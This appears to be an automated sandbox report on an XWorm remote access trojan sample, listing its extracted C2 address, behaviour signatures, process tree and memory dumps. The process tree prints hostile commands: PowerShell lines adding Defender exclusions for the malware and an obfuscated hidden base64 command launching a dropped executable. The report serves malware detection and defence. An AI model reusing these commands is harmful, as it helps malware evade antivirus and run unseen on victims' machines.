Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 10:45
General
- Target 0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe
- Size 847KB
- Sample260910-mtk74sbj9x
- SHA256 0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e
Malware Config
Extracted
-
xworm
-
5.0
-
91.239.6.97:4449
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LirmFSh9B8fsG8XB
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe"C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ku2beq=[System.Environment]::TickCount;$i0vqib=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$lofbq0=Get-Date;$vniic1=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXERmYS5leGU=')));$cmxmev=8223;& $i0vqib -FilePath $vniic1"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Dfa.exe"C:\Users\Admin\AppData\Roaming\Dfa.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Dfa.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ka4lnqai.of0.ps1
Dfa.exe
memory/872-39-0x00000216DB310000-0x00000216DB332000-memory.dmp
memory/2028-12-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2028-29-0x00000000051C0000-0x00000000051D0000-memory.dmp
memory/2028-67-0x00000000051C0000-0x00000000051D0000-memory.dmp
memory/3696-4-0x00000000054A0000-0x00000000054AA000-memory.dmp
memory/3696-8-0x00000000061C0000-0x000000000626A000-memory.dmp
memory/3696-7-0x0000000005270000-0x0000000005280000-memory.dmp
memory/3696-0-0x0000000000980000-0x0000000000A5A000-memory.dmp
memory/3696-6-0x00000000057B0000-0x00000000057D4000-memory.dmp
memory/3696-5-0x00000000055D0000-0x000000000566C000-memory.dmp
memory/3696-3-0x0000000005270000-0x0000000005280000-memory.dmp
memory/3696-2-0x0000000005300000-0x0000000005392000-memory.dmp
memory/3696-1-0x00000000058B0000-0x0000000005E54000-memory.dmp
memory/3880-92-0x00000000071C0000-0x00000000071D4000-memory.dmp
memory/3880-78-0x00000000056D0000-0x0000000005A24000-memory.dmp
memory/3880-80-0x0000000005CB0000-0x0000000005CFC000-memory.dmp
memory/3880-81-0x0000000070F30000-0x0000000070F7C000-memory.dmp
memory/3880-90-0x0000000006ED0000-0x0000000006F73000-memory.dmp
memory/3880-91-0x0000000007180000-0x0000000007191000-memory.dmp
memory/4672-16-0x0000000005190000-0x00000000051A0000-memory.dmp
memory/4672-44-0x0000000007660000-0x0000000007692000-memory.dmp
memory/4672-45-0x0000000070AE0000-0x0000000070B2C000-memory.dmp
memory/4672-53-0x0000000006C40000-0x0000000006C5E000-memory.dmp
memory/4672-54-0x00000000076A0000-0x0000000007743000-memory.dmp
memory/4672-55-0x0000000008020000-0x000000000869A000-memory.dmp
memory/4672-56-0x00000000079D0000-0x00000000079EA000-memory.dmp
memory/4672-57-0x0000000007A40000-0x0000000007A4A000-memory.dmp
memory/4672-58-0x0000000007C50000-0x0000000007CE6000-memory.dmp
memory/4672-59-0x0000000007BD0000-0x0000000007BE1000-memory.dmp
memory/4672-60-0x0000000007C00000-0x0000000007C0E000-memory.dmp
memory/4672-61-0x0000000007C10000-0x0000000007C24000-memory.dmp
memory/4672-62-0x0000000007D10000-0x0000000007D2A000-memory.dmp
memory/4672-63-0x0000000007CF0000-0x0000000007CF8000-memory.dmp
memory/4672-31-0x00000000066C0000-0x000000000670C000-memory.dmp
memory/4672-30-0x0000000006690000-0x00000000066AE000-memory.dmp
memory/4672-26-0x0000000006100000-0x0000000006454000-memory.dmp
memory/4672-20-0x0000000006090000-0x00000000060F6000-memory.dmp
memory/4672-19-0x0000000005E70000-0x0000000005ED6000-memory.dmp
memory/4672-18-0x0000000005700000-0x0000000005722000-memory.dmp
memory/4672-17-0x00000000057D0000-0x0000000005DF8000-memory.dmp
memory/4672-14-0x0000000005100000-0x0000000005136000-memory.dmp
memory/4672-15-0x0000000005190000-0x00000000051A0000-memory.dmp